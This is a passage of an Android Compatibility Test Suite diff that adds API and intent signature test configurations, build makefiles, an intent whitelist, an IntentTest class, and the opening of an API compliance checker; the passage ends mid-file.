+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.system_current">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <application/>
+
+ <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.system_current"
+ android:label="System Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/system-current-api/AndroidTest.xml b/tests/signature/api-check/system-current-api/AndroidTest.xml
new file mode 100644
index 0000000..6bf641a
--- /dev/null
+++ b/tests/signature/api-check/system-current-api/AndroidTest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS System Current API Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsSystemCurrentApiSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.system_current" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="instrumentation-arg" key="expected-api-files" value="system-current.api" />
+ <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+ <option name="runtime-hint" value="30s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 3d67cd8..71e33ae 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -14,7 +14,7 @@
# We define this in a subdir so that it won't pick up the parent's Android.xml by default.
-LOCAL_PATH:= $(call my-dir)
+LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
# current api, in XML format.
@@ -23,35 +23,63 @@
# by com.android.cts.managedprofile.CurrentApiHelper
# ============================================================
include $(CLEAR_VARS)
+
LOCAL_MODULE := cts-current-api
LOCAL_MODULE_STEM := current.api
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
+LOCAL_SRC_FILES := frameworks/base/api/current.txt
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+include $(LOCAL_PATH)/build_xml_api_file.mk
-include $(BUILD_SYSTEM)/base_rules.mk
-$(LOCAL_BUILT_MODULE) : frameworks/base/api/current.txt | $(APICHECK)
- @echo "Convert API file $@"
- @mkdir -p $(dir $@)
- $(hide) $(APICHECK_COMMAND) -convert2xml $< $@
-
-include $(CLEAR_VARS)
-
-# current api, in XML format.
+# current system api, in XML format.
# ============================================================
include $(CLEAR_VARS)
LOCAL_MODULE := cts-system-current-api
LOCAL_MODULE_STEM := system-current.api
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
+LOCAL_SRC_FILES := frameworks/base/api/system-current.txt
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+include $(LOCAL_PATH)/build_xml_api_file.mk
-include $(BUILD_SYSTEM)/base_rules.mk
-$(LOCAL_BUILT_MODULE) : frameworks/base/api/system-current.txt | $(APICHECK)
- @echo "Convert API file $@"
- @mkdir -p $(dir $@)
- $(hide) $(APICHECK_COMMAND) -convert2xml $< $@
+# removed system api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-system-removed-api
+LOCAL_MODULE_STEM := system-removed.api
+LOCAL_SRC_FILES := frameworks/base/api/system-removed.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
+
+# current legacy-test api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-legacy-test-current-api
+LOCAL_MODULE_STEM := legacy-test-current.api
+LOCAL_SRC_FILES := frameworks/base/legacy-test/api/legacy-test-current.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
+
+# current android-test-mock api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-android-test-mock-current-api
+LOCAL_MODULE_STEM := android-test-mock-current.api
+LOCAL_SRC_FILES := frameworks/base/test-runner/api/android-test-mock-current.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
+
+# current android-test-runner api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-android-test-runner-current-api
+LOCAL_MODULE_STEM := android-test-runner-current.api
+LOCAL_SRC_FILES := frameworks/base/test-runner/api/android-test-runner-current.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
+
+# current apache-http-legacy api, in XML format.
+# ==============================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-apache-http-legacy-current-api
+LOCAL_MODULE_STEM := apache-http-legacy-current.api
+LOCAL_SRC_FILES := external/apache-http/api/apache-http-legacy-current.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
diff --git a/tests/signature/api/build_xml_api_file.mk b/tests/signature/api/build_xml_api_file.mk
new file mode 100644
index 0000000..f5468bb
--- /dev/null
+++ b/tests/signature/api/build_xml_api_file.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Specify the following 3 variables before including:
+#
+# LOCAL_MODULE_STEM
+# the name of the file to generate, e.g. current.api
+#
+# LOCAL_MODULE
+# the name of the module - must be unique
+#
+# LOCAL_SRC_FILES
+# the name of the source api txt file - only one file allowed
+
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_SYSTEM)/base_rules.mk
+$(LOCAL_BUILT_MODULE) : ${LOCAL_SRC_FILES} | $(APICHECK)
+ @echo "Convert API file $< -> $@"
+ @mkdir -p $(dir $@)
+ $(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $< $@
diff --git a/tests/signature/intent-check/Android.mk b/tests/signature/intent-check/Android.mk
new file mode 100644
index 0000000..c251c3f
--- /dev/null
+++ b/tests/signature/intent-check/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsIntentSignatureTestCases
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test \
+ cts-signature-common \
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/intent-check/AndroidManifest.xml b/tests/signature/intent-check/AndroidManifest.xml
new file mode 100644
index 0000000..a444350
--- /dev/null
+++ b/tests/signature/intent-check/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.intent">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <application>
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.signature.cts.intent"
+ android:label="Intent Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/intent-check/AndroidTest.xml b/tests/signature/intent-check/AndroidTest.xml
new file mode 100644
index 0000000..da6895b
--- /dev/null
+++ b/tests/signature/intent-check/AndroidTest.xml
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Intent Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <option name="not-shardable" value="true" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsIntentSignatureTestCases" />
+ <option name="version" value="1.0" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
+ <option name='run-command'
+ value='pm list packages | while read a; do dumpsys package ${a#"package:"} > /data/local/tmp/signature-test-packages/${a#"package:"}.txt; done' />
+ <option name="teardown-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="system-removed.api->/data/local/tmp/signature-test/system-removed.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsIntentSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.intent" />
+ <option name="runtime-hint" value="10s" />
+ </test>
+</configuration>
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
new file mode 100644
index 0000000..7f7de47
--- /dev/null
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -0,0 +1,124 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<!--
+ Bug: 33305737 android.intent.action.ACTION_CARRIER_SETUP
+ Bug: 36980009 android.intent.action.QUICKBOOT_POWERON
+ Bug: 36977779 android.intent.action.MASTER_CLEAR
+ Bug: 38182465 android.intent.action.ACTION_DEFAULT_SMS_SUBSCRIPTION_CHANGED
+ Bug: 70315695 android.intent.action.HDMI_PLUGGED
+ Bug: 115848568 android.intent.action.ACTION_AIRPLANE_MODE_CHANGED
+ Will be removed after v17 of CS.apk is released.
+ Bug: 114804753 android.intent.action.DISMISS_TIMER (public in API 28)
+ Bug: 117590943 android.intent.action.View
+ Fixed in GMSCore v14.7.68.
+ Bug: 67109014
+ android.intent.action.EMERGENCY_STATE_CHANGED
+ android.intent.action.USER_ADDED
+ android.intent.action.OMADM_BROWSER_SET_HOMEPAGE
+ android.intent.action.OMADM_BROWSER_GET_HOMEPAGE
+ android.intent.action.CSC_BROWSER_SET_HOMEPAGE
+ android.intent.action.CSC_BROWSER_SET_SEARCH_ENGINE
+ android.intent.action.STK_BROWSER_GET_HOMEPAGE2
+ android.intent.action.SBROWSER_QR_SCAN_RESULT
+ android.intent.action.BCS_REQUEST
+ android.intent.action.STK_BROWSER_GET_HOMEPAGE
+ android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP
+ android.intent.action.CHAMELEON_BROWSER_SET_HOMEPAGE
+ android.intent.action.USER_ADDED
+ android.intent.action.PEDOMETER_SETTING_SYNC
+ android.intent.action.OMADM_BROWSER_SET_HOMEPAGE
+ android.intent.action.OMADM_BROWSER_GET_HOMEPAGE
+ android.intent.action.CSC_BROWSER_SET_HOMEPAGE
+ android.intent.action.CSC_BROWSER_SET_SEARCH_ENGINE
+ android.intent.action.STK_BROWSER_GET_HOMEPAGE2
+ android.intent.action.SBROWSER_QR_SCAN_RESULT
+ android.intent.action.BCS_REQUEST
+ android.intent.action.STK_BROWSER_GET_HOMEPAGE
+ android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP
+ android.intent.action.CHAMELEON_BROWSER_SET_HOMEPAGE
+ android.intent.action.STOP_NETWORK_BOOSTER
+ android.intent.action.START_NETWORK_BOOSTER
+ android.intent.action.BADGE_COUNT_UPDATE
+ All of them(except BADGE_COUNT_UPDATE) will be fixed on P.
+ Bug: Honeywell com.redbend.app bug:
+ android.intent.action.SyncSWVersion
+ android.intent.action.ActionRadioReset
+ android.intent.action.ActionMbbNoOptIn
+ android.intent.action.ActionStartEmergencyCallEnd
+ android.intent.action.ActionHfaSmfResult
+ android.intent.action.ActionStartEmergencyCall
+ android.intent.action.ActionSetMbbMaintWindow
+ android.intent.action.ActionStartCISession
+ android.intent.action.TEST
+ android.intent.action.ActionSetMbbInterval
+ android.intent.action.REGISTER_HFA
+ android.intent.action.ActionHfaReminder
+ Fixed in Honeywell's release build at Nov 25.
+ Bug: 129348724 android.intent.action.DEFINE (public in API 29)
+ Bug: 129348724 android.intent.action.TRANSLATE (public in API 29)
+-->
+<dynamicConfig>
+ <entry key ="intent_whitelist">
+ <value>android.intent.action.ACTION_CARRIER_SETUP</value>
+ <value>android.intent.action.QUICKBOOT_POWERON</value>
+ <value>android.intent.action.ACTION_DEFAULT_SMS_SUBSCRIPTION_CHANGED</value>
+ <value>android.intent.action.HDMI_PLUGGED</value>
+ <value>android.intent.action.ACTION_AIRPLANE_MODE_CHANGED</value>
+ <value>android.intent.action.DISMISS_TIMER</value>
+ <value>android.intent.action.View</value>
+ <value>android.intent.action.EMERGENCY_STATE_CHANGED</value>
+ <value>android.intent.action.USER_ADDED</value>
+ <value>android.intent.action.OMADM_BROWSER_SET_HOMEPAGE</value>
+ <value>android.intent.action.OMADM_BROWSER_GET_HOMEPAGE</value>
+ <value>android.intent.action.CSC_BROWSER_SET_HOMEPAGE</value>
+ <value>android.intent.action.CSC_BROWSER_SET_SEARCH_ENGINE</value>
+ <value>android.intent.action.STK_BROWSER_GET_HOMEPAGE2</value>
+ <value>android.intent.action.SBROWSER_QR_SCAN_RESULT</value>
+ <value>android.intent.action.BCS_REQUEST</value>
+ <value>android.intent.action.STK_BROWSER_GET_HOMEPAGE</value>
+ <value>android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP</value>
+ <value>android.intent.action.CHAMELEON_BROWSER_SET_HOMEPAGE</value>
+ <value>android.intent.action.USER_ADDED</value>
+ <value>android.intent.action.PEDOMETER_SETTING_SYNC</value>
+ <value>android.intent.action.OMADM_BROWSER_SET_HOMEPAGE</value>
+ <value>android.intent.action.OMADM_BROWSER_GET_HOMEPAGE</value>
+ <value>android.intent.action.CSC_BROWSER_SET_HOMEPAGE</value>
+ <value>android.intent.action.CSC_BROWSER_SET_SEARCH_ENGINE</value>
+ <value>android.intent.action.STK_BROWSER_GET_HOMEPAGE2</value>
+ <value>android.intent.action.SBROWSER_QR_SCAN_RESULT</value>
+ <value>android.intent.action.BCS_REQUEST</value>
+ <value>android.intent.action.STK_BROWSER_GET_HOMEPAGE</value>
+ <value>android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP</value>
+ <value>android.intent.action.CHAMELEON_BROWSER_SET_HOMEPAGE</value>
+ <value>android.intent.action.STOP_NETWORK_BOOSTER</value>
+ <value>android.intent.action.START_NETWORK_BOOSTER</value>
+ <value>android.intent.action.BADGE_COUNT_UPDATE</value>
+ <value>android.intent.action.SyncSWVersion</value>
+ <value>android.intent.action.ActionRadioReset</value>
+ <value>android.intent.action.ActionMbbNoOptIn</value>
+ <value>android.intent.action.ActionStartEmergencyCallEnd</value>
+ <value>android.intent.action.ActionHfaSmfResult</value>
+ <value>android.intent.action.ActionStartEmergencyCall</value>
+ <value>android.intent.action.ActionSetMbbMaintWindow</value>
+ <value>android.intent.action.ActionStartCISession</value>
+ <value>android.intent.action.TEST</value>
+ <value>android.intent.action.ActionSetMbbInterval</value>
+ <value>android.intent.action.REGISTER_HFA</value>
+ <value>android.intent.action.ActionHfaReminder</value>
+ <value>android.intent.action.DEFINE</value>
+ <value>android.intent.action.TRANSLATE</value>
+ </entry>
+</dynamicConfig>
diff --git a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
new file mode 100644
index 0000000..2f551dc
--- /dev/null
+++ b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
@@ -0,0 +1,197 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts.intent;
+
+import static android.signature.cts.CurrentApi.CURRENT_API_FILE;
+import static android.signature.cts.CurrentApi.SYSTEM_CURRENT_API_FILE;
+import static android.signature.cts.CurrentApi.SYSTEM_REMOVED_API_FILE;
+
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Validate that the android intents used by APKs on this device are part of the
+ * platform.
+ */
+@RunWith(AndroidJUnit4.class)
+public class IntentTest {
+ private static final String TAG = IntentTest.class.getSimpleName();
+
+ private static final File SIGNATURE_TEST_PACKGES =
+ new File("/data/local/tmp/signature-test-packages");
+ private static final String ANDROID_INTENT_PREFIX = "android.intent.action";
+ private static final String ACTION_LINE_PREFIX = " Action: ";
+ private static final String MODULE_NAME = "CtsIntentSignatureTestCases";
+
+ private PackageManager mPackageManager;
+ private Set<String> intentWhitelist;
+
+ @Before
+ public void setupPackageManager() throws Exception {
+ mPackageManager = InstrumentationRegistry.getContext().getPackageManager();
+ intentWhitelist = getIntentWhitelist();
+ }
+
+ @Test
+ public void shouldNotFindUnexpectedIntents() throws Exception {
+ Set<String> platformIntents = lookupPlatformIntents();
+ platformIntents.addAll(intentWhitelist);
+
+ Set<String> allInvalidIntents = new HashSet<>();
+
+ Set<String> errors = new HashSet<>();
+ List<ApplicationInfo> packages =
+ mPackageManager.getInstalledApplications(PackageManager.GET_META_DATA);
+ for (ApplicationInfo appInfo : packages) {
+ if (!isSystemApp(appInfo) && !isUpdatedSystemApp(appInfo)) {
+ // Only examine system apps
+ continue;
+ }
+ Set<String> invalidIntents = new HashSet<>();
+ Set<String> activeIntents = lookupActiveIntents(appInfo.packageName);
+
+ for (String activeIntent : activeIntents) {
+ String intent = activeIntent.trim();
+ if (!platformIntents.contains(intent) &&
+ intent.startsWith(ANDROID_INTENT_PREFIX)) {
+ invalidIntents.add(activeIntent);
+ allInvalidIntents.add(activeIntent);
+ }
+ }
+
+ String error = String.format("Package: %s Invalid Intent: %s",
+ appInfo.packageName, invalidIntents);
+ if (!invalidIntents.isEmpty()) {
+ errors.add(error);
+ }
+ }
+
+ // Log the whitelist line to make it easy to update.
+ for (String intent : allInvalidIntents) {
+ Log.d(TAG, String.format("whitelist.add(\"%s\");", intent));
+ }
+
+ Assert.assertTrue(errors.toString(), errors.isEmpty());
+ }
+
+ private Set<String> lookupPlatformIntents() {
+ try {
+ Set<String> intents = new HashSet<>();
+ intents.addAll(parse(CURRENT_API_FILE));
+ intents.addAll(parse(SYSTEM_CURRENT_API_FILE));
+ intents.addAll(parse(SYSTEM_REMOVED_API_FILE));
+ return intents;
+ } catch (XmlPullParserException | IOException e) {
+ throw new RuntimeException("failed to parse", e);
+ }
+ }
+
+ private static Set<String> parse(String apiFileName)
+ throws XmlPullParserException, IOException {
+
+ Set<String> androidIntents = new HashSet<>();
+
+ ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG,
+ new ApiDocumentParser.Listener() {
+ @Override
+ public void completedClass(JDiffClassDescription classDescription) {
+ for (JDiffField diffField : classDescription.getFieldList()) {
+ String fieldValue = diffField.getValueString();
+ if (fieldValue != null) {
+ fieldValue = fieldValue.replace("\"", "");
+ if (fieldValue.startsWith(ANDROID_INTENT_PREFIX)) {
+ androidIntents.add(fieldValue);
+ }
+ }
+ }
+
+ }
+ });
+
+ apiDocumentParser.parse(new FileInputStream(new File(apiFileName)));
+
+ return androidIntents;
+ }
+
+ private static boolean isSystemApp(ApplicationInfo applicationInfo) {
+ return (applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+ }
+
+ private static boolean isUpdatedSystemApp(ApplicationInfo applicationInfo) {
+ return (applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+ }
+
+ private static Set<String> lookupActiveIntents(String packageName) {
+ HashSet<String> activeIntents = new HashSet<>();
+ File dumpsysPackage = new File(SIGNATURE_TEST_PACKGES, packageName + ".txt");
+ if (!dumpsysPackage.exists() || dumpsysPackage.length() == 0) {
+ throw new RuntimeException("Missing package info: " + dumpsysPackage.getAbsolutePath());
+ }
+ try (
+ BufferedReader in = new BufferedReader(
+ new InputStreamReader(new FileInputStream(dumpsysPackage)))) {
+ String line;
+ while ((line = in.readLine()) != null) {
+ if (line.startsWith(ACTION_LINE_PREFIX)) {
+ String intent = line.substring(
+ ACTION_LINE_PREFIX.length(), line.length() - 1);
+ activeIntents.add(intent.replace("\"", ""));
+ }
+ }
+ return activeIntents;
+ } catch (Exception e) {
+ throw new RuntimeException("While retrieving dumpsys", e);
+ }
+ }
+
+ private static Set<String> getIntentWhitelist() throws Exception {
+ Set<String> whitelist = new HashSet<>();
+
+ DynamicConfigDeviceSide dcds = new DynamicConfigDeviceSide(MODULE_NAME);
+ List<String> intentWhitelist = dcds.getValues("intent_whitelist");
+
+ // Log the whitelist Intent
+ for (String intent : intentWhitelist) {
+ Log.d(TAG, String.format("whitelist add: %s", intent));
+ whitelist.add(intent);
+ }
+
+ return whitelist;
+ }
+}
diff --git a/tests/signature/runSignatureTests.sh b/tests/signature/runSignatureTests.sh
new file mode 100755
index 0000000..623973d
--- /dev/null
+++ b/tests/signature/runSignatureTests.sh
@@ -0,0 +1,36 @@
+#! /bin/bash
+#
+# Copyright 2017 The Android Open Source Project.
+#
+# Builds and runs signature APK tests.
+
+if [ -z "$ANDROID_BUILD_TOP" ]; then
+ echo "Missing environment variables. Did you run build/envsetup.sh and lunch?" >&2
+ exit 1
+fi
+
+if [ $# -eq 0 ]; then
+ PACKAGES="
+CtsCurrentApiSignatureTestCases
+CtsSystemCurrentApiSignatureTestCases
+CtsAndroidTestMockCurrentApiSignatureTestCases
+CtsAndroidTestRunnerCurrentApiSignatureTestCases
+CtsLegacyTest26ApiSignatureTestCases
+CtsApacheHttpLegacyCurrentApiSignatureTestCases
+"
+else
+ PACKAGES=${1+"$@"}
+fi
+
+cd $ANDROID_BUILD_TOP
+make -j32 $PACKAGES
+
+TMPFILE=$(mktemp)
+trap "echo Removing temporary directory; rm -f $TMPFILE" EXIT
+
+for p in $PACKAGES
+do
+ echo cts -a arm64-v8a -m "$p" >> $TMPFILE
+done
+
+cts-tradefed run cmdfileAndExit $TMPFILE
diff --git a/tests/signature/src/android/signature/cts/ApiComplianceChecker.java b/tests/signature/src/android/signature/cts/ApiComplianceChecker.java
new file mode 100644
index 0000000..8dbf5e7
--- /dev/null
+++ b/tests/signature/src/android/signature/cts/ApiComplianceChecker.java
@@ -0,0 +1,744 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.Set;
+
+/**
+ * Checks that the runtime representation of a class matches the API representation of a class.
+ */
+public class ApiComplianceChecker {
+
+ /** Indicates that the class is an annotation. */
+ private static final int CLASS_MODIFIER_ANNOTATION = 0x00002000;
+
+ /** Indicates that the class is an enum. */
+ private static final int CLASS_MODIFIER_ENUM = 0x00004000;
+
+ /** Indicates that the method is a bridge method. */
+ private static final int METHOD_MODIFIER_BRIDGE = 0x00000040;
+
+ /** Indicates that the method is takes a variable number of arguments. */
+ private static final int METHOD_MODIFIER_VAR_ARGS = 0x00000080;
+
+ /** Indicates that the method is a synthetic method. */
+ private static final int METHOD_MODIFIER_SYNTHETIC = 0x00001000;
+
+ private static final Set<String> HIDDEN_INTERFACE_WHITELIST = new HashSet<>();
+
+ static {
+ // Interfaces that define @hide or @SystemApi or @TestApi methods will by definition contain
+ // methods that do not appear in current.txt. Interfaces added to this
+ // list are probably not meant to be implemented in an application.
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract boolean android.companion.DeviceFilter.matches(D)");
+ HIDDEN_INTERFACE_WHITELIST.add("public static <D> boolean android.companion.DeviceFilter.matches(android.companion.DeviceFilter<D>,D)");
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract java.lang.String android.companion.DeviceFilter.getDeviceDisplayName(D)");
